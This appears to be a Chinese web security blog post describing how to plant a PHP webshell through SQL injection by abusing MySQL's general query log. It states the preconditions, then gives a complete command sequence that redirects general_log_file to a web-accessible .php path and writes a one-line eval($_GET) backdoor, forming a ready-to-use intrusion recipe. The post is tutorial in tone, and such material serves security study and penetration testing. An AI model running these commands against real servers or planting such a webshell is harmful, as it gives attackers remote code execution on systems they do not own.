当前位置: 首页 > news >正文

WEB安全--SQL注入--利用log写入webshell

一、原理:

        这也是对之前文章的补充:WEB安全--SQL注入--INTO OUTFILE-CSDN博客

        我们可以通过修改MySQL的log文件,用select关键字写入木马文件放在服务器物理地址中,通过访问物理地址getshell。

        

二、条件:


        用户有写入权限

        需要知道物理路径(绝对路径)

        需要能执行多行SQL语句

        关闭对单引号的转义(GPC)

三、利用方式:

show variables like '%general%';            	 # 查看配置
 
set global general_log = on;              		 # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
 
set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址
 
select '<?php eval($_GET[g]);?>'             	 # 写入shell
 
set global general_log=off;                  	 # 关闭general log模式

相关文章:

  • 您的数据是如何出现在暗网上的?
  • 深度学习论文: Image Segmentation Using Text and Image Prompts
  • 2025年IT行业技术革命全景解析:从AI到量子计算的落地实践
  • C - 创建初级通讯录(详细解析一)
  • MySQL--主从复制--原理
  • (UI自动化测试web端)第三篇:元素的常用操作方法_浏览器操作
  • QT编程之CAN协议
  • DeepSeek与GPT的全方位对比及其为编程工作带来的巨大变革
  • 熊猫精灵脚本助手官网_找图找色-脚本精灵2025最新版下载
  • 深入解析 Java 类加载机制及双亲委派模型
  • 【MARK-2小车】小车教程、上位机教程
  • 高等数学-第七版-上册 选做记录 习题5-4
  • 表的约束及代码练习
  • django入门教程之templates和static资源【五】
  • 八纲辨证总则
  • 如何优化 docker 镜像体积?
  • 【深度学习基础 2】 PyTorch 框架
  • EMQX Dashboard
  • Java 大视界 -- Java 大数据在智能金融区块链跨境支付与结算中的应用(154)
  • C#多态性入门:从零到游戏开发实战
  • 男子服用头孢后饮酒应酬致昏迷在家,救援人员破门施救后脱险
  • 海南省检察院专委李思阳被带走,去年曾遭人举报违规插手案件
  • 一周人物|收藏家瓦尔特捐出藏品,女性艺术家“对话”摄影
  • 波兰总统选举第一轮投票结束,出口民调显示将进入第二轮投票
  • 首届中国人文学科年度发展大会启幕,共话AI时代人文使命
  • 竞彩湃|足总杯决赛或有冷门,德甲欧冠资格之争谁笑到最后